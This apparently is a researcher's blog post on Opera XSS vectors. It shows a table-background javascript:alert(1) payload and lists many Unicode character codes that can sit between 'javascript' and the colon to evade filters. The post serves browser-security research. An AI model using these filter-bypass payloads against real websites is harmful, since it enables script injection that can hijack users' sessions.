

Opera XSS vectors

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Content

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It turns out I was right. [Originally](#) I thought the protocols reported by my javascript fuzzer were false positives but as like lots of my code it seems to know better than me [\[image: :\)\]](#) I tested the context of the vectors in a normal HTML link which didn't work correctly. But I was messing with some XSS in Hackvertor today with the latest copy of Opera and I found they worked.

Surprisingly Opera still supports the table background vector and combining my protocol discoveries you can create some cool additional vectors. The table background vector looks like this:-

```
<table background=javascript:alert(1)>
```

Now we can combine it with some of the unicode characters that work after the javascript string and before the colon:-

```
<table background=javascript :alert(1)>
```

The characters can be repeated many times like this:-

```
<table background=javascript      :alert(1)>
```

Lots of other characters seem to be affected, I've randomly tested a few like 11520 but I haven't verified them all. Here are a list of the characters:-

Char:9,Link:javascript :
Char:10,Link:javascript
:
Char:13,Link:javascript
:
Char:58,Link:javascript::
Char:2048,Link:javascript :
Char:2304,Link:javascript :
Char:3840,Link:javascript :
Char:4096,Link:javascript :
Char:4256,Link:javascript :
Char:4352,Link:javascript :
Char:4608,Link:javascript :
Char:4864,Link:javascript :
Char:5120,Link:javascript :
Char:5376,Link:javascript :
Char:5632,Link:javascript :
Char:5888,Link:javascript :
Char:6400,Link:javascript :
Char:6656,Link:javascript :
Char:7424,Link:javascript :
Char:7936,Link:javascript :
Char:7944,Link:javascript :
Char:11520,Link:javascript :
Char:12544,Link:javascript :
Char:13312,Link:javascript :
Char:13568,Link:javascript :
Char:13824,Link:javascript :
Char:14080,Link:javascript :
Char:14336,Link:javascript :
Char:14592,Link:javascript :
Char:14848,Link:javascript :
Char:15104,Link:javascript :
Char:15360,Link:javascript :
Char:15616,Link:javascript :
Char:15872,Link:javascript :
Char:16128,Link:javascript :
Char:16384,Link:javascript :
Char:16640,Link:javascript :
Char:16896,Link:javascript :
Char:17152,Link:javascript :
Char:17408,Link:javascript :
Char:17664,Link:javascript :

Char:[17920](#),Link:javascript :
Char:[18176](#),Link:javascript :
Char:[18432](#),Link:javascript :
Char:[18688](#),Link:javascript :
Char:[18944](#),Link:javascript :
Char:[19200](#),Link:javascript :
Char:[19456](#),Link:javascript :
Char:[19712](#),Link:javascript :
Char:[19968](#),Link:javascript :
Char:[20224](#),Link:javascript :
Char:[20480](#),Link:javascript :
Char:[20736](#),Link:javascript :
Char:[20992](#),Link:javascript :
Char:[21248](#),Link:javascript :
Char:[21504](#),Link:javascript :
Char:[21760](#),Link:javascript :
Char:[22016](#),Link:javascript :
Char:[22272](#),Link:javascript :
Char:[22528](#),Link:javascript :
Char:[22784](#),Link:javascript :
Char:[23040](#),Link:javascript :
Char:[23296](#),Link:javascript :
Char:[23552](#),Link:javascript :
Char:[23808](#),Link:javascript :
Char:[24064](#),Link:javascript :
Char:[24320](#),Link:javascript :
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Char:[49920](#),Link:javascript :
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Char:53248,Link:javascript :
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Char:53760,Link:javascript :
Char:54016,Link:javascript :
Char:54272,Link:javascript :
Char:54528,Link:javascript :
Char:54784,Link:javascript :
Char:55040,Link:javascript :

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